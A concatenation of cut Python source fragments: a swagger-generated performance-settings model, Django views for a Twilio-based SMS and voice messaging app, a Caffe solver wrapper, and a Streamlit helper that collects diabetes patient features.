this PerformanceSettingsSettings. # noqa: E501 :type: int """ if max_filter_count is None: raise ValueError("Invalid value for `max_filter_count`, must not be `None`") # noqa: E501 if max_filter_count is not None and max_filter_count > 4294967295: # noqa: E501 raise ValueError("Invalid value for `max_filter_count`, must be a value less than or equal to `4294967295`") # noqa: E501 if max_filter_count is not None and max_filter_count < 0: # noqa: E501 raise ValueError("Invalid value for `max_filter_count`, must be a value greater than or equal to `0`") # noqa: E501 self._max_filter_count = max_filter_count @property def max_stat_size(self): """Gets the max_stat_size of this PerformanceSettingsSettings. # noqa: E501 The maximum size in bytes of a single performance dataset sample. # noqa: E501 :return: The max_stat_size of this PerformanceSettingsSettings. # noqa: E501 :rtype: int """ return self._max_stat_size @max_stat_size.setter def max_stat_size(self, max_stat_size): """Sets the max_stat_size of this PerformanceSettingsSettings. The maximum size in bytes of a single performance dataset sample. # noqa: E501 :param max_stat_size: The max_stat_size of this PerformanceSettingsSettings. # noqa: E501 :type: int """ if max_stat_size is None: raise ValueError("Invalid value for `max_stat_size`, must not be `None`") # noqa: E501 if max_stat_size is not None and max_stat_size > 4294967295: # noqa: E501 raise ValueError("Invalid value for `max_stat_size`, must be a value less than or equal to `4294967295`") # noqa: E501 if max_stat_size is not None and max_stat_size < 0: # noqa: E501 raise ValueError("Invalid value for `max_stat_size`, must be a value greater than or equal to `0`") # noqa: E501 self._max_stat_size = max_stat_size @property def max_top_n_collection_count(self): """Gets the max_top_n_collection_count of this PerformanceSettingsSettings. # noqa: E501 The maximum valid value for the 'top_n_collection_count' setting. # noqa: E501 :return: The max_top_n_collection_count of this PerformanceSettingsSettings. # noqa: E501 :rtype: int """ return self._max_top_n_collection_count @max_top_n_collection_count.setter def max_top_n_collection_count(self, max_top_n_collection_count): """Sets the max_top_n_collection_count of this PerformanceSettingsSettings. The maximum valid value for the 'top_n_collection_count' setting. # noqa: E501 :param max_top_n_collection_count: The max_top_n_collection_count of this PerformanceSettingsSettings. # noqa: E501 :type: int """ if max_top_n_collection_count is None: raise ValueError("Invalid value for `max_top_n_collection_count`, must not be `None`") # noqa: E501 if max_top_n_collection_count is not None and max_top_n_collection_count > 4294967295: # noqa: E501 raise ValueError("Invalid value for `max_top_n_collection_count`, must be a value less than or equal to `4294967295`") # noqa: E501 if max_top_n_collection_count is not None and max_top_n_collection_count < 0: # noqa: E501 raise ValueError("Invalid value for `max_top_n_collection_count`, must be a value greater than or equal to `0`") # noqa: E501 self._max_top_n_collection_count = max_top_n_collection_count @property def max_workload_count(self): """Gets the max_workload_count of this PerformanceSettingsSettings. # noqa: E501 The maximum number of workloads that can be pinned to a configured performance dataset. # noqa: E501 :return: The max_workload_count of this PerformanceSettingsSettings. # noqa: E501 :rtype: int """ return self._max_workload_count @max_workload_count.setter def max_workload_count(self, max_workload_count): """Sets the max_workload_count of this PerformanceSettingsSettings. The maximum number of workloads that can be pinned to a configured performance dataset. # noqa: E501 :param max_workload_count: The max_workload_count of this PerformanceSettingsSettings. # noqa: E501 :type: int """ if max_workload_count is None: raise ValueError("Invalid value for `max_workload_count`, must not be `None`") # noqa: E501 if max_workload_count is not None and max_workload_count > 4294967295: # noqa: E501 raise ValueError("Invalid value for `max_workload_count`, must be a value less than or equal to `4294967295`") # noqa: E501 if max_workload_count is not None and max_workload_count < 0: # noqa: E501 raise ValueError("Invalid value for `max_workload_count`, must be a value greater than or equal to `0`") # noqa: E501 self._max_workload_count = max_workload_count @property def top_n_collection_count(self): """Gets the top_n_collection_count of this PerformanceSettingsSettings. # noqa: E501 The number of highest resource-consuming workloads tracked and collected by the system per configured performance dataset. The number of workloads pinned to a configured performance dataset does not count towards this value. # noqa: E501 :return: The top_n_collection_count of this PerformanceSettingsSettings. # noqa: E501 :rtype: int """ return self._top_n_collection_count @top_n_collection_count.setter def top_n_collection_count(self, top_n_collection_count): """Sets the top_n_collection_count of this PerformanceSettingsSettings. The number of highest resource-consuming workloads tracked and collected by the system per configured performance dataset. The number of workloads pinned to a configured performance dataset does not count towards this value. # noqa: E501 :param top_n_collection_count: The top_n_collection_count of this PerformanceSettingsSettings. # noqa: E501 :type: int """ if top_n_collection_count is None: raise ValueError("Invalid value for `top_n_collection_count`, must not be `None`") # noqa: E501 if top_n_collection_count is not None and top_n_collection_count > 4294967295: # noqa: E501 raise ValueError("Invalid value for `top_n_collection_count`, must be a value less than or equal to `4294967295`") # noqa: E501 if top_n_collection_count is not None and top_n_collection_count < 0: # noqa: E501 raise ValueError("Invalid value for `top_n_collection_count`, must be a value greater than or equal to `0`") # noqa: E501 self._top_n_collection_count = top_n_collection_count def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, PerformanceSettingsSettings): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self
<filename>messenger/views.py import csv import datetime import io import re from django.apps import apps from django.conf import settings from django.contrib import messages from django.contrib.auth.mixins import LoginRequiredMixin from django.contrib.auth.mixins import UserPassesTestMixin from django.contrib.auth.models import User from django.contrib.messages.views import SuccessMessageMixin from django.http import HttpResponse, StreamingHttpResponse from django.shortcuts import redirect, render from django.views.decorators.csrf import csrf_exempt from django.views.decorators.http import require_POST from django.views.generic import View, DetailView, ListView from django.views.generic.edit import CreateView, UpdateView from django.views.generic.edit import DeleteView from django.urls import reverse, reverse_lazy from django.utils.decorators import method_decorator from celery.result import AsyncResult from .decorators import validate_twilio_request from .forms import OrganizationForm, MessageForm from .functions import send_email from .models import (Autoreply, Contact, Message, MessageLog, Note, Organization, Response, Tag, UserProfile) from .tasks import send_messages from twilio.twiml.voice_response import VoiceResponse from twilio.twiml.messaging_response import MessagingResponse decorators = [ csrf_exempt, require_POST, validate_twilio_request ] class Echo: """An object that implements just the write method of the file-like interface. """ def write(self, value): """Write the value by returning it, instead of storing in a buffer. """ return value class LoginRequiredMixin(LoginRequiredMixin): def get_profile(self): return self.request.user.userprofile def get_org(self): return self.get_profile().organization def get_queryset(self): queryset = super().get_queryset() organization = self.get_org() return queryset.filter(organization=organization) def form_valid(self, form): form.instance.organization = self.get_org() messages.success( self.request, '{} Created'.format( form.instance._meta.verbose_name.title() ) ) return super().form_valid(form) class AdminMixin(UserPassesTestMixin): login_url = '/login/' def test_func(self): if self.request.user.is_authenticated: return self.request.user.userprofile.is_admin else: return False class NoteMixin: def post(self, request, **kwargs): userprofile = request.user.userprofile note = Note.objects.create( body = request.POST.get('note'), organization = userprofile.organization, author = userprofile, ) field = self.model._meta.verbose_name value = self.get_object() setattr(note, field, value) note.save() messages.success(request, 'Note Added!') return redirect(value.get_absolute_url()) class Home(View): template_name = 'home.html' def get_context_data(self, **kwargs): context = { 'captcha_key': settings.RECAPTCHA_API_KEY, } if hasattr(self.request.user, 'userprofile'): org = self.request.user.userprofile.organization kwargs = {'organization': org,} context.update({ 'contact_list': Contact.objects.filter( **kwargs), 'message_list': Message.objects.filter( **kwargs), 'response_list': Response.objects.filter( **kwargs), }) return context def get(self, request, **kwargs): context = self.get_context_data() return render(request, self.template_name, context) def post(self, request, **kwargs): context = self.get_context_data() email = send_email( to='<EMAIL>', subject='Account Requested', content='{0} ({1}): {2}'.format( request.POST.get('name'), request.POST.get('email'), request.POST.get('body') ) ) messages.success(request, 'Request Received, Thank You!') return render(request, self.template_name, context) class OrgListView(LoginRequiredMixin, ListView): pass class OrgDetailView(LoginRequiredMixin, NoteMixin, DetailView): pass class OrgDeleteView(LoginRequiredMixin, DeleteView): template_name = 'messenger/confirm_delete.html' def delete(self, request, *args, **kwargs): messages.success(request, 'Succesfully Deleted') return super().delete(request, *args, **kwargs) class OrgCreateView(LoginRequiredMixin, CreateView): pass class OrgUpdateView(LoginRequiredMixin, UpdateView): pass class TagView(View): model = Tag fields = ('name',) success_url = reverse_lazy('tag-list') class TagList(TagView, OrgListView): pass class TagDetail(TagView, OrgDetailView): pass class TagCreate(TagView, OrgCreateView): pass class TagUpdate(TagView, OrgUpdateView): pass class TagDelete(TagView, OrgDeleteView): pass class ContactView(View): model = Contact fields = ('first_name', 'last_name', 'phone', 'email', 'preferred_method', 'tags', 'has_whatsapp') success_url = reverse_lazy('contact-list') paginate_by = 500 def get_form(self, *args, **kwargs): form = super().get_form(*args, **kwargs) org = self.request.user.userprofile.organization form.fields['tags'].queryset = Tag.objects.filter( organization=org) return form class ContactList(ContactView, OrgListView): def get_queryset(self): queryset = super().get_queryset() return queryset.prefetch_related('tags', 'response_set', 'messagelog_set') class ContactDetail(ContactView, OrgDetailView): def post(self, request, **kwargs): contact = self.get_object() if request.POST.get('body'): contact.send_sms(request.POST.get('body')) messages.success(request, 'Message Sent.') return redirect(reverse( 'contact-detail', kwargs={'pk':contact.id} )) class ContactCreate(ContactView, OrgCreateView): pass class ContactUpdate(ContactView, OrgUpdateView): pass class ContactDelete(ContactView, OrgDeleteView): pass class ContactImport(ContactList): template_name = 'messenger/contact_import.html' def post(self, request, **kwargs): organization = request.user.userprofile.organization try: import_file = request.FILES['csv_file'] except KeyError: messages.error(request, 'Please upload a file.') else: errors = self.import_csv_data(import_file, organization=organization) print(errors) messages.success(request, 'Contacts successfully uploaded.') return redirect(reverse('home')) def import_csv_data(self, import_file, organization): errors = [] try: # with open(import_file, 'rt', encoding="utf-8", # errors='ignore') as csvfile: reader = csv.DictReader( io.StringIO( import_file.read().decode('utf-8') ) ) except Exception as error: errors.append(error) messages.error(self.request, \ 'Failed to read file. Please make sure \ the file is in CSV format.') else: errors = self.enumerate_rows(reader, organization) return errors # Loop through CSV, skipping header row. def enumerate_rows(self, reader, org, start=1): row_errors = [] # Index is for row numbers in error message-s. for index, contact in enumerate(reader, start=1): row_errors = [] try: self.import_contact_row(contact, org) except Exception as error: print(error) row_errors.append('Row {0}: {1}'.format( index, error)) return row_errors def import_contact_row(self, contact_dict, org): phone = re.sub("[^0-9]", "", contact_dict['phone']) if '+' not in phone: phone = '+1' + phone contact, created = Contact.objects.get_or_create( phone=phone, organization=org) contact.first_name = contact_dict['first_name'] contact.last_name = contact_dict['last_name'] contact.email = contact_dict['email'] for tagname in ('tag1', 'tag2', 'tag3'): if contact_dict.get(tagname): tag, created = Tag.objects.get_or_create( name=contact_dict[tagname], organization=org) contact.tags.add(tag) contact.save() return contact class MessageView(View): model = Message form_class = MessageForm # def get_form(self, *args, **kwargs): # form = super().get_form(*args, **kwargs) # org = self.request.user.userprofile.organization # form.fields['tags'].queryset = Tag.objects.filter( # organization=org) # form.fields['contacts'].queryset = Contact.objects \ # .filter(organization=org) # return form def get_context_data(self, **kwargs): context = super().get_context_data(**kwargs) context['add_all_bool'] = True return context def get_form_kwargs(self): kwargs = super(MessageView, self).get_form_kwargs() kwargs['user_profile'] = self.request.user.userprofile return kwargs def form_valid(self, form): print(self.request.POST) response = super().form_valid(form) contacts = Contact.objects.filter( tags__in=self.object.tags.all()).distinct() for contact in contacts: self.object.contacts.add(contact) if self.request.POST.get('add_all'): org = self.request.user.userprofile.organization contacts = org.contact_set.all() self.object.contacts.set(contacts) # for contact in contacts: # if contact not in self.object.contacts.all(): # self.object.contacts.add(contact) self.object.save() return response class MessageList(MessageView, OrgListView): def get_queryset(self): queryset = super().get_queryset() return queryset.prefetch_related('contacts') class MessageDetail(MessageView, OrgDetailView): def get_context_data(self, **kwargs): message = self.get_object() context = super().get_context_data(**kwargs) context['form'] = MessageForm( instance=message, user_profile=self.request.user.userprofile) context['form_action'] = reverse('message-update', kwargs={'pk':message.id}) context['contacts'] = self.get_contacts( message=message) context['responses'] = self.get_responses( message=message) return context def get_contacts(self, message): contacts = message.contacts.prefetch_related( 'messagelog_set', 'tags') contact_list = [] messagelogs = MessageLog.objects.filter( message=message).values_list('contact', flat=True) for contact in contacts: if contact.id in messagelogs: status = 'Sent' else: status = 'Unsent' contact_list.append({ 'url': contact.get_absolute_url(), 'first_name': contact.first_name, 'last_name': contact.last_name, 'phone': contact.phone, 'tags': ', '.join( tag.name for tag in contact.tags.all()), 'status': status, }) return contact_list def get_responses(self, message): if message.date_sent: rdict = { 'contact__in': message.contacts.all(), 'date_received__gt': message.date_sent, } next_msg = message.next() if next_msg: rdict['date_received__lte'] = next_msg.date_sent responses = Response.objects.filter( **rdict).select_related('contact').distinct() return responses return None class MessageCreate(MessageView, OrgCreateView): pass class MessageUpdate(MessageView, OrgUpdateView): pass class MessageDelete(MessageView, OrgDeleteView): success_url = reverse_lazy('message-list') class MessageSend(MessageDetail): def get(self, request, **kwargs): response = super().get(request, **kwargs) context = self.get_context_data(**kwargs) message = self.get_object() message.send(request) messages.success(request, 'Message Sent!') return redirect(message.get_absolute_url()) class MessageLogList(OrgListView): model = MessageLog paginate_by = 500 def get_queryset(self): queryset = super().get_queryset() return queryset.select_related( 'message', 'contact', 'sender') class ResponseView(View): model = Response class ResponseList(ResponseView, OrgListView): paginate_by = 500 def get_queryset(self): queryset = super().get_queryset() return queryset.select_related('contact') class ResponseExport(ResponseList): def get_queryset(self): queryset = super().get_queryset() if self.request.GET.get('msg_id'): message = Message.objects.get( id=self.request.GET.get('msg_id')) queryset = queryset.filter( date_received__gt=message.date_sent) if message.next(): next_msg = message.next() queryset = queryset.filter( date_received__lte=next_msg.date_sent) return queryset def get(self, request, **kwargs): resp = super().get(request, **kwargs) rows = self.get_response_list(self.get_queryset()) pseudo_buffer = Echo() writer = csv.writer(pseudo_buffer) response = StreamingHttpResponse( (writer.writerow(row) for row in rows), content_type="text/csv") today = datetime.date.today() filename = 'asfour_responses_{}'.format(today) cont_disp = 'attachment;filename="{}.csv"'.format( filename) response['Content-Disposition'] = cont_disp return response def get_response_list(self, queryset): header = ['phone', 'first_name', 'last_name', 'tags', 'response', 'method', 'recording', 'date_received', 'last_message_received'] rows = [header,] for response in queryset: print('getting row') rows.append(self.get_response_row(response)) return rows def get_response_row(self, response): first_name, last_name, tags = None, None, None if response.contact: first_name = response.contact.first_name last_name = response.contact.last_name if response.contact.tags.count(): tags = '; '.join([tag.name for tag in \ response.contact.tags.all()]), row = [ response.phone, first_name, last_name, tags, response.body, response.get_method_display(), getattr(response.recording, 'url', None), response.date_received, response.get_most_recent_message() ] return row class AutoreplyView(View): model = Autoreply fields = ('text', 'reply', 'tags') success_url = reverse_lazy('autoreply-list') class AutoreplyCreate(AutoreplyView, OrgCreateView): pass class AutoreplyUpdate(AutoreplyView, OrgUpdateView): pass class AutoreplyList(AutoreplyView, OrgListView): pass @method_decorator(decorators, name='dispatch') class VoiceCall(View): model = Message def get_twiml(self): message = Message.objects.get( id=self.kwargs.get('msg_id')) twiml_response = VoiceResponse() twiml_response.play(message.recording.url) if message.request_for_response: print('REQUEST FOR RESPONSE ACTIVATED') twiml_response.record( action=reverse('record-call', kwargs={ 'pk': message.organization.id, 'msg_id': message.id }), method='POST', max_length=10, timeout=4, # transcribe=True, # transcribe_callback=action ) # twiml_response.say('Thank you, goodbye') return twiml_response def post(self, request, **kwargs): print('its a post!') return HttpResponse( self.get_twiml(), content_type='application/xml' ) @method_decorator(decorators, name='dispatch') class RecordCall(View): def post(self, request, **kwargs): message = Message.objects.get( id=self.kwargs.get('msg_id')) session_id = request.POST['CallSid'] request_body = request.POST.get('RecordingUrl') phone_number = request.POST.get('To') response = Response.objects.create( method=Response.VOICE, phone=phone_number, recording=request.POST.get('RecordingUrl'), sid=session_id, organization=message.organization, ) response.add_contact() if 'TranscriptionText' in request.POST: response.body = request.POST.get( 'TranscriptionText') response.save() twiml_response = VoiceResponse() # twiml_response.say('Thank you, goodbye') # twiml_response.hangup() # return HttpResponse( # twiml_response, # content_type='application/xml' # ) twiml_response.redirect( reverse( 'voice-call', kwargs={ 'pk': message.organization.id, 'msg_id': message.id } ), method='POST') return HttpResponse( twiml_response, content_type='application/xml' ) @method_decorator(decorators, name='dispatch') class StatusCallback(View): def post(self, request, **kwargs): print('STATUS CALLBACK TRIGGERED') resp = 200 org = Organization.objects.get( id=self.kwargs.get('pk')) try: callback = self.get_callback_dict(request) log = MessageLog.objects.filter( sid=callback['MessageSid'], contact__phone=callback['To'] ) if log: log[0].twilio_status = callback['MessageStatus'] log[0].save() except: print('STATUS UPDATE FAILED') resp = 400 print(request.POST) print(self.kwargs) return HttpResponse(resp) def get_callback_dict(self, request): callback_dict = {} for key in ('From','MessageSid','MessageStatus','To'): callback_dict[key] = request.POST.get(key) return callback_dict @method_decorator(decorators, name='dispatch') class HarvestResponse(View): def post(self, request, **kwargs): resp = 200 org = Organization.objects.get( id=self.kwargs.get('pk')) resp_kwargs, save = self.get_response_kwargs( request, org) if save: response = Response.objects.create(**resp_kwargs) response.add_contact()
# -*- coding: utf-8 -*- """Exposes the caffe solvers.""" # pylint: disable=E1101, F0401, C0103, R0913, R0914, W0212, E1121, E0611, W0406 # pylint: disable=duplicate-code, too-many-lines from __future__ import print_function from . import monitoring as _monitoring from . import parallel as _parallel # CAREFUL! This must be imported pre any caffe-related import! from .tools import pbufToPyEnum as _pbufToPyEnum import time as _time import logging as _logging import hashlib import copy from tempfile import NamedTemporaryFile as _NamedTemporaryFile import numpy as _np import google.protobuf.text_format as _gprototext import caffe as _caffe import caffe.proto.caffe_pb2 as _caffe_pb2 #: Describes the type of the solver used. All solver types supported by caffe #: are available. SolverType = _pbufToPyEnum(_caffe_pb2.SolverParameter.SolverType) #: Describes the Phase used. All solver types supported by caffe #: are available. _Phase = _pbufToPyEnum(_caffe_pb2.Phase) _HAS_ITER_SIZE = hasattr(_caffe_pb2.SolverParameter, 'iter_size') try: _ADAM_SOLVER_CLASS = _caffe.AdamSolver _ADAM_SOLVER_ENUM = SolverType.ADAM except AttributeError: # pragma: no cover _ADAM_SOLVER_CLASS = None _ADAM_SOLVER_ENUM = None try: _ADADELTA_SOLVER_CLASS = _caffe.AdaDeltaSolver _ADADELTA_SOLVER_ENUM = SolverType.ADADELTA except AttributeError: # pragma: no cover _ADADELTA_SOLVER_CLASS = None _ADADELTA_SOLVER_ENUM = None try: _ADAGRAD_SOLVER_CLASS = _caffe.AdaGradSolver _ADAGRAD_SOLVER_ENUM = SolverType.ADAGRAD except AttributeError: # pragma: no cover _ADAGRAD_SOLVER_CLASS = None _ADAGRAD_SOLVER_ENUM = None try: _RMSPROP_SOLVER_CLASS = _caffe.RMSPropSolver _RMSPROP_SOLVER_ENUM = SolverType.RMSPROP except AttributeError: # pragma: no cover _RMSPROP_SOLVER_CLASS = None _RMSPROP_SOLVER_ENUM = None _LOGGER = _logging.getLogger(__name__) # pylint: disable=too-many-instance-attributes class Solver(object): """Describes the Solver concept.""" _solver_types = {} _caffe_solver_type = None _solver_type = None def __init__(self, **kwargs): r""" Constructor. :param iter_size: int>0. The number of batches the gradient is accumulated over (not available in older caffe versions). :param lr_policy: string in ['fixed', 'step', ...] The policy to use to adjust the learning rate during fitting. Taken from ``solver.cpp``: * fixed: always return base_lr. * step: return base_lr \* gamma ^ (floor(iter / step)) * exp: return base_lr \* gamma ^ iter * inv: return base_lr \* (1 + gamma \* iter) ^ (- power) * multistep: similar to step but it allows non uniform steps defined by stepvalue * poly: the effective learning rate follows a polynomial decay, to be zero by the max_iter. return base_lr (1 - iter/max_iter) ^ (power) * sigmoid: the effective learning rate follows a sigmod decay return base_lr ( 1/(1 + exp(-gamma \* (iter - stepsize)))) :param base_lr: float or None. The base learning rate to use. :param gamma: float or None. :param power: float or None. :param weight_decay: float or None. Use weight decay to reduce the weights at each step. :param regularization_type: string in ['L1', 'L2']. Specifies how the ``weight_decay`` is applied. :param step_stepsize: float or None. The stepsize for the step policy. :param stepvalue: list(int) or None. The stepvalue parameter for the multistep policy. :param clip_gradients: float or None. Clips the gradients to the specified value. :param random_seed: int>0 or None. If specified, seeds the solver for reproducible results. Otherwise, it uses a time dependent seed. :param snapshot_prefix: string or None. If the ``Checkpointer`` monitor is used, this prefix is used to create the snapshots. :param debug_info: bool. If set to ``True``, gives additional output in the logs. """ self._net = None self._parameter_hash = None self._parameter_dict = dict() self.update_parameters(**kwargs) # some default internal parameters self._parameter_dict['snapshot_after_train'] = False self._parameter_dict['solver_type'] = self._caffe_solver_type # every solver can append its on assertions or overwrite the given ones self._asserts = [] if _HAS_ITER_SIZE: self._asserts.append(self.Assert_iter_size) self._asserts.append(self.Assert_regularization_types) self._asserts.append(self.Assert_policy) self._solver = None self._print_warning = False self._train_net_dummy = None self._test_net_dummy = None self._parallel_train_filler = None self._parallel_test_filler = None self._parallel_batch_res_train = None self._parallel_batch_res_test = None def restore(self, filename, net=None): """Restore the solverstate from a file.""" if self._net is None: assert net is not None, ('you must specify a net on which the ' 'restored solver will be used!') if net is not None: # The method self._Update_net must not be used here, since it # is allowed to use a new net. self._net = net self._Update_solver() self._solver.restore(filename) @classmethod def Get_required_arguments(cls): """The minimum number of required parameters.""" return ['base_lr'] @classmethod def Get_optional_arguments(cls): """ Get the optional parameters. Optional parameters and some of which are None not all combinations are possible, this is enforced by various asserts when calling Get_parameter_dict(). """ ret_dict = {'debug_info': False, 'weight_decay': None, 'lr_policy': 'fixed', 'regularization_type': 'L2', 'power': None, 'gamma': None, 'snapshot_prefix': None, 'stepsize': None, 'stepvalue': None, 'clip_gradients': None, 'random_seed': None, 'net': None} if _HAS_ITER_SIZE: ret_dict['iter_size'] = 1 return ret_dict def fit(self, # pylint: disable=too-many-statements, too-many-branches iterations, X=None, X_val=None, input_processing_flags=None, test_iterations=0, test_interval=0, test_initialization=False, train_callbacks=None, test_callbacks=None, net=None, read_input_batch_size_from_blob_name=None, use_fit_phase_for_validation=False, allow_test_phase_for_train=False, shuffle=False): r""" fit the network to specific data. Use monitors from the module :py:mod:`barrista.monitoring` as callbacks to monitor the state of the net and create checkpoints. This method offers the following kwargs to monitors (* indicates, that the values are only available at test time, - indicates, that the value is not necessarily available): * max_iter, * iter, * batch_size, * net, * testnet\[only if there is a test phase, i.e., X_val is set] * solver, * callback_signal\[is automatically set by the fit function], * X\-[only if provided by the user], * X_val\-[only if provided by the user], * [the following fields are only set if the corresponding loss/accuracy layer exists for the train and/or test phase. It can also be set by providing a custom ResultExtractor] * loss\-, * test_loss\*, * accuracy\-, * test_accuracy\*-, :param iterations: int. The number of training iterations to do. This is the plain number of iterations, completely disregarding the batch size, i.e., for ``iterations`` being 10 and ``batch_size`` being 10, just one batch is forward propagated. :param X: dict of numpy.ndarray or None. If specified, is used as input data. It is used sequentially, so shuffle it pre, if required. The keys of the dict have to have a corresponding layer name in the net. :param X_val: dict of numpy.ndarray or None. If specified and ``test_interval>0``, it is used as input data. It is used sequentially, so shuffle it pre, if required. The keys of the dict have to have a corresponding layer name in the net. :param input_processing_flags: dict(string, string) or None. See ``CyclingDataMonitor.__init__`` for the ``input_processing_flags`` parameter. In short, if you specify your sample via list, you may specify for each blob, whether they should be padded 'p', or resized 'r' to match the network input size. If they fit perfectly, you may specify 'n' or omit the parameter and use ``None``. :param test_iterations: int. The number of test iterations to determine the validation score, if ``test_interval>0``. :param test_interval: int. The number of iterations between runs on the validation set. Is specified in plain iterations, disregarding batch size. Hence, it must be a multiple of the batch size. :param test_initialization: bool. Whether to do a run on the validation set pre the training is started to get an initial score. :param train_callbacks: list(barrista.monitoring.Monitor). List of callback callables. Will be called pre and post training batch is processed. This list will be processed sequentially, meaning that monitors in the sequence can provide information for later monitors as done with ResultExtractor. :param test_callbacks: list(callable). List of callback callables. Will be called for pre and post testing and pre and post each batch of testing processed. This list will be processed sequentially, meaning that monitors in the sequence can provide information for later monitors as done with ResultExtractor. :param read_input_batch_size_from_blob_name: string. The name of the layer to take the input batch size from (as the first dimension of its first blob). Must be specified if the network does not have explicit inputs (e.g., when trained from an LMDB). :param use_fit_phase_for_validation: bool. If set to True, do not change the phase of the net for running a validation step during training. This can be helpful to reduce memory consumption. This ignores the TEST phase of the net completely, but it's not necessary to use it if the data is provided by the Python layers. :param allow_test_phase_for_train: bool. If set to True, allow using a network in its TEST phase to be trained. May make sense in exotic settings, but should prevent bugs. If not set to True, an
<filename>functions/utils.py import pandas as pd import numpy as np import re import cv2 import imageio import keras import numpy as np import nibabel as nib import streamlit as st import category_encoders as ce import matplotlib.pyplot as plt from IPython.display import Image from keras import backend as K from keras.layers import Input from tensorflow.keras.models import Model from keras.layers import Activation,Conv3D,MaxPooling3D,UpSampling3D from tensorflow.keras.layers import Conv2D from keras.layers.merge import concatenate #from keras.optimizers import Adam from tensorflow.keras.optimizers import Adam #from keras.utils import to_categorical from tensorflow.keras.utils import to_categorical from tensorflow.compat.v1.logging import INFO, set_verbosity set_verbosity(INFO) K.set_image_data_format("channels_first") ## Função para preparar um dataframe com as feaures de Estratificacao de Riscos def getStratRiskFeatures(): race = st.sidebar.selectbox("Race",("Caucasian", "AfricanAmerican", "Other", "Asian", "Hispanic")) gender = st.sidebar.radio("Gender",("Female","Male"), key = 'gender') age = st.sidebar.selectbox("Age",("[0-10)","[10-20)","[20-30)","[30-40)","[40-50)","[50-60)","[60-70)","[70-80)","[80-90)","[90-100)")) admission_type_id = st.sidebar.slider("Admission Type", 1,8,key='admission_type_id') discharge_disposition_id = st.sidebar.slider("Discharge Disposition", 0,30,key='discharge_disposition_id') admission_source_id = st.sidebar.slider("Admission Source", 0,26,key='admission_source_id') time_in_hospital = st.sidebar.slider("Time in Hospital", 0,100,key='time_in_hospital') num_lab_procedures = st.sidebar.slider("Nro Lab Procedures",0,1000,step=1,key="num_lab_procedures") num_procedures = st.sidebar.slider("Nro Procedures",0,1000,step=1,key="num_procedures") num_medications = st.sidebar.slider("Nro Medications",0,1000,step=1,key="num_medications") number_outpatient = st.sidebar.slider("Nro Out Patient",0,1000,step=1,key="number_outpatient") number_emergency = st.sidebar.slider("Nro Emergency",0,1000,step=1,key="number_emergency") number_inpatient = st.sidebar.slider("Nro Inpatient",0,1000,step=1,key="number_inpatient") diag_1 = st.sidebar.text_input('Diagnostic 1', value='?', key="diag_1") diag_2 = st.sidebar.text_input('Diagnostic 2', value='?', key="diag_2") diag_3 = st.sidebar.text_input('Diagnostic 3', value='?', key="diag_3") number_diagnoses = st.sidebar.slider("Nro Diagnoses",0,100,step=1,key="number_diagnoses") max_glu_serum = st.sidebar.selectbox("Max Glu Serum",(">200",">300","Norm","None")) A1Cresult = st.sidebar.selectbox("A1C Result",(">7",">8","Norm","None")) metformin = st.sidebar.radio("Metformin",("No","Steady","Up","Down"),key='metformin') repaglinide = st.sidebar.radio("Repaglinide",("No","Steady","Up","Down"),key='repaglinide') nateglinide = st.sidebar.radio("Nateglinide",("No","Steady","Up","Down"),key='nateglinide') chlorpropamide = st.sidebar.radio("Chlorpropamide",("No","Steady","Up","Down"),key='chlorpropamide') glimepiride = st.sidebar.radio("Glimepiride",("No","Steady","Up","Down"),key='glimepiride') acetohexamide = st.sidebar.radio("Acetohexamide",("No","Steady","Up","Down"),key='acetohexamide') glipizide = st.sidebar.radio("Glipizide",("No","Steady","Up","Down"),key='glipizide') glyburide = st.sidebar.radio("Glyburide",("No","Steady","Up","Down"),key='glyburide') tolbutamide = st.sidebar.radio("Tolbutamide",("No","Steady","Up","Down"),key='tolbutamide') pioglitazone = st.sidebar.radio("Pioglitazone",("No","Steady","Up","Down"),key='pioglitazone') rosiglitazone = st.sidebar.radio("Rosiglitazone",("No","Steady","Up","Down"),key='rosiglitazone') acarbose = st.sidebar.radio("Acarbose",("No","Steady","Up","Down"),key='acarbose') miglitol = st.sidebar.radio("Miglitol",("No","Steady","Up","Down"),key='miglitol') troglitazone = st.sidebar.radio("Troglitazone",("No","Steady","Up","Down"),key='troglitazone') tolazamide = st.sidebar.radio("Tolazamide",("No","Steady","Up","Down"),key='tolazamide') examide = st.sidebar.radio("Examide",("No","Steady","Up","Down"),key='examide') citoglipton = st.sidebar.radio("Citoglipton",("No","Steady","Up","Down"),key='citoglipton') insulin = st.sidebar.radio("Insulin",("No","Steady","Up","Down"),key='insulin') glyburide_metformin = st.sidebar.radio("Glyburide Metformin",("No","Steady","Up","Down"),key='glyburide_metformin') glipizide_metformin = st.sidebar.radio("Glipizide Metformin",("No","Steady","Up","Down"),key='glipizide_metformin') glimepiride_pioglitazone = st.sidebar.radio("Glimepiride",("No","Steady","Up","Down"),key='glimepiride_pioglitazone') metformin_rosiglitazone = st.sidebar.radio("Metformin Rosiglitazone",("No","Steady","Up","Down"),key='metformin_rosiglitazone') metformin_pioglitazone = st.sidebar.radio("Metformin Pioglitazone",("No","Steady","Up","Down"),key='metformin_pioglitazone') change = st.sidebar.radio("Change",("No","Ch"),key='change') diabetesMed = st.sidebar.radio("diabetesMed",("No","Yes"),key='diabetesMed') df = pd.DataFrame({'race': [race], 'gender': [gender], 'age': [age], 'admission_type_id': [admission_type_id], 'discharge_disposition_id': [discharge_disposition_id], 'admission_source_id': [admission_source_id], 'time_in_hospital': [time_in_hospital], 'num_lab_procedures': [num_lab_procedures], 'num_procedures': [num_procedures], 'num_medications': [num_medications], 'number_outpatient': [number_outpatient], 'number_emergency': [number_emergency], 'number_inpatient': [number_inpatient], 'diag_1': [diag_1], 'diag_2': [diag_2], 'diag_3': [diag_3], 'number_diagnoses': [number_diagnoses], 'max_glu_serum': [max_glu_serum], 'A1Cresult': [A1Cresult], 'metformin': [metformin], 'repaglinide': [repaglinide], 'nateglinide': [nateglinide], 'chlorpropamide': 